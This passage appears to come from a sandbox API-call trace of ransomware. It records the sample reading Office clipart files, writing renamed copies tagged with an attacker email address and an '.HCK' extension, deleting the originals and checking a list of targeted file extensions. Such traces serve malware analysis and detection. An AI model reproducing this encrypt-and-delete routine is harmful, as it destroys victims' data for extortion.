"c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0235.360] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=7948) returned 1 [0235.360] CloseHandle (hObject=0x3c4) returned 1 [0235.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf")) returned 0x220 [0235.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0235.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0235.642] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.642] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0235.643] GetLastError () returned 0x0 [0235.643] ReadFile (in: hFile=0x4b4, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x1f0c, lpOverlapped=0x0) returned 1 [0235.645] WriteFile (in: hFile=0x4bc, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x1f10, lpOverlapped=0x0) returned 1 [0235.645] ReadFile (in: hFile=0x4b4, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.646] WriteFile (in: hFile=0x4bc, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0235.646] SetEndOfFile (hFile=0x4bc) returned 1 [0235.646] CloseHandle (hObject=0x4bc) returned 1 [0235.646] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.646] SetEndOfFile (hFile=0x4b4) returned 1 [0235.648] CloseHandle (hObject=0x4b4) returned 1 [0235.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.648] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf")) returned 1 [0235.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0235.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0235.649] lstrlenW (lpString=".doc") returned 4 [0235.649] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.649] lstrlenW (lpString=".docx") returned 5 [0235.649] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0235.649] lstrlenW (lpString=".pdf") returned 4 [0235.649] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.649] lstrlenW (lpString=".xls") returned 4 [0235.649] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.649] lstrlenW (lpString=".xlsx") returned 5 [0235.649] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0235.649] lstrlenW (lpString=".ppt") returned 4 [0235.650] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0235.650] lstrlenW (lpString=".zip") returned 4 [0235.650] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.650] lstrlenW (lpString=".rar") returned 4 [0235.650] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.650] lstrlenW (lpString=".bz2") returned 4 [0235.650] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.650] lstrlenW (lpString=".7z") returned 3 [0235.650] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0235.650] lstrlenW (lpString=".dbf") returned 4 [0235.650] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0235.650] lstrlenW (lpString=".1cd") returned 4 [0235.650] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0235.650] lstrlenW (lpString=".jpg") returned 4 [0235.650] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0235.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0235.650] lstrlenW (lpString=".doc") returned 4 [0235.650] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.650] lstrlenW (lpString=".docx") returned 5 [0235.650] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0235.650] lstrlenW (lpString=".pdf") returned 4 [0235.650] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.650] lstrlenW (lpString=".xls") returned 4 [0235.650] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.650] lstrlenW (lpString=".xlsx") returned 5 [0235.650] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0235.650] lstrlenW (lpString=".ppt") returned 4 [0235.650] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0235.650] lstrlenW (lpString=".zip") returned 4 [0235.650] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.650] lstrlenW (lpString=".rar") returned 4 [0235.650] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.650] lstrlenW (lpString=".bz2") returned 4 [0235.651] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.651] lstrlenW (lpString=".7z") returned 3 [0235.651] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0235.651] lstrlenW (lpString=".dbf") returned 4 [0235.651] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0235.651] lstrlenW (lpString=".1cd") returned 4 [0235.651] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0235.651] lstrlenW (lpString=".jpg") returned 4 [0235.651] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.651] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0235.651] lstrlenW (lpString="J0107722.WMF") returned 12 [0235.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0235.652] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=8260) returned 1 [0235.652] CloseHandle (hObject=0x4b4) returned 1 [0235.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf")) returned 0x220 [0235.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0235.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0235.652] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.653] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0235.653] GetLastError () returned 0x0 [0235.653] ReadFile (in: hFile=0x4b4, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x2044, lpOverlapped=0x0) returned 1 [0235.655] WriteFile (in: hFile=0x4bc, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x2050, lpOverlapped=0x0) returned 1 [0235.656] ReadFile (in: hFile=0x4b4, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.656] WriteFile (in: hFile=0x4bc, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0235.656] SetEndOfFile (hFile=0x4bc) returned 1 [0235.656] CloseHandle (hObject=0x4bc) returned 1 [0235.656] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.656] SetEndOfFile (hFile=0x4b4) returned 1 [0235.668] CloseHandle (hObject=0x4b4) returned 1 [0235.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.669] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf")) returned 1 [0235.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0235.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0235.670] lstrlenW (lpString=".doc") returned 4 [0235.670] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.670] lstrlenW (lpString=".docx") returned 5 [0235.670] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0235.670] lstrlenW (lpString=".pdf") returned 4 [0235.670] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.670] lstrlenW (lpString=".xls") returned 4 [0235.670] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.670] lstrlenW (lpString=".xlsx") returned 5 [0235.670] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0235.670] lstrlenW (lpString=".ppt") returned 4 [0235.670] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0235.670] lstrlenW (lpString=".zip") returned 4 [0235.670] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.670] lstrlenW (lpString=".rar") returned 4 [0235.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.670] lstrlenW (lpString=".bz2") returned 4 [0235.670] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.670] lstrlenW (lpString=".7z") returned 3 [0235.670] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0235.670] lstrlenW (lpString=".dbf") returned 4 [0235.670] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0235.670] lstrlenW (lpString=".1cd") returned 4 [0235.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0235.670] lstrlenW (lpString=".jpg") returned 4 [0235.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0235.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0235.671] lstrlenW (lpString=".doc") returned 4 [0235.671] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.671] lstrlenW (lpString=".docx") returned 5 [0235.671] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0235.671] lstrlenW (lpString=".pdf") returned 4 [0235.671] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.671] lstrlenW (lpString=".xls") returned 4 [0235.671] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.671] lstrlenW (lpString=".xlsx") returned 5 [0235.671] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0235.671] lstrlenW (lpString=".ppt") returned 4 [0235.671] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0235.671] lstrlenW (lpString=".zip") returned 4 [0235.671] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.671] lstrlenW (lpString=".rar") returned 4 [0235.671] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.671] lstrlenW (lpString=".bz2") returned 4 [0235.671] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.671] lstrlenW (lpString=".7z") returned 3 [0235.671] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0235.671] lstrlenW (lpString=".dbf") returned 4 [0235.671] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0235.671] lstrlenW (lpString=".1cd") returned 4 [0235.671] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0235.671] lstrlenW (lpString=".jpg") returned 4 [0235.671] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.671] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0235.671] lstrlenW (lpString="J0107724.WMF") returned 12 [0235.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0235.672] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=7016) returned 1 [0235.672] CloseHandle (hObject=0x4b4) returned 1 [0235.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf")) returned 0x220 [0235.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0235.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0235.673] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.673] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0235.675] GetLastError () returned 0x0 [0235.675] ReadFile (in: hFile=0x4b4, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x1b68, lpOverlapped=0x0) returned 1 [0235.992] WriteFile (in: hFile=0x4bc, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x1b70, lpOverlapped=0x0) returned 1 [0235.992] ReadFile (in: hFile=0x4b4, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.992] WriteFile (in: hFile=0x4bc, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0235.992] SetEndOfFile (hFile=0x4bc) returned 1 [0235.993] CloseHandle (hObject=0x4bc) returned 1 [0235.993] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.993] SetEndOfFile (hFile=0x4b4) returned 1 [0235.995] CloseHandle (hObject=0x4b4) returned 1 [0235.995] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.301] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf")) returned 1 [0236.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0236.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0236.302] lstrlenW (lpString=".doc") returned 4 [0236.302] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.302] lstrlenW (lpString=".docx") returned 5 [0236.302] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0236.302] lstrlenW (lpString=".pdf") returned 4 [0236.302] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.302] lstrlenW (lpString=".xls") returned 4 [0236.302] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.302] lstrlenW (lpString=".xlsx") returned 5 [0236.302] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0236.302] lstrlenW (lpString=".ppt") returned 4 [0236.302] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0236.302] lstrlenW (lpString=".zip") returned 4 [0236.302] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.302] lstrlenW (lpString=".rar") returned 4 [0236.302] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.302] lstrlenW (lpString=".bz2") returned 4 [0236.302] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0236.302] lstrlenW (lpString=".7z") returned 3 [0236.302] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0236.302] lstrlenW (lpString=".dbf") returned 4 [0236.302] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0236.302] lstrlenW (lpString=".1cd") returned 4 [0236.303] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0236.303] lstrlenW (lpString=".jpg") returned 4 [0236.303] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0236.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0236.303] lstrlenW (lpString=".doc") returned 4 [0236.303] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.303] lstrlenW (lpString=".docx") returned 5 [0236.303] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0236.303] lstrlenW (lpString=".pdf") returned 4 [0236.303] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.303] lstrlenW (lpString=".xls") returned 4 [0236.303] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.303] lstrlenW (lpString=".xlsx") returned 5 [0236.303] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0236.303] lstrlenW (lpString=".ppt") returned 4 [0236.303] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0236.303] lstrlenW (lpString=".zip") returned 4 [0236.303] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.303] lstrlenW (lpString=".rar") returned 4 [0236.303] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.303] lstrlenW (lpString=".bz2") returned 4 [0236.303] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0236.303] lstrlenW (lpString=".7z") returned 3 [0236.303] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0236.303] lstrlenW (lpString=".dbf") returned 4 [0236.303] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0236.303] lstrlenW (lpString=".1cd") returned 4 [0236.303] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0236.303] lstrlenW (lpString=".jpg") returned 4 [0236.303] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.303] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0236.303] lstrlenW (lpString="J0145168.JPG") returned 12 [0236.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0236.305] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=33657) returned 1 [0236.305] CloseHandle (hObject=0x4c0) returned 1 [0236.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 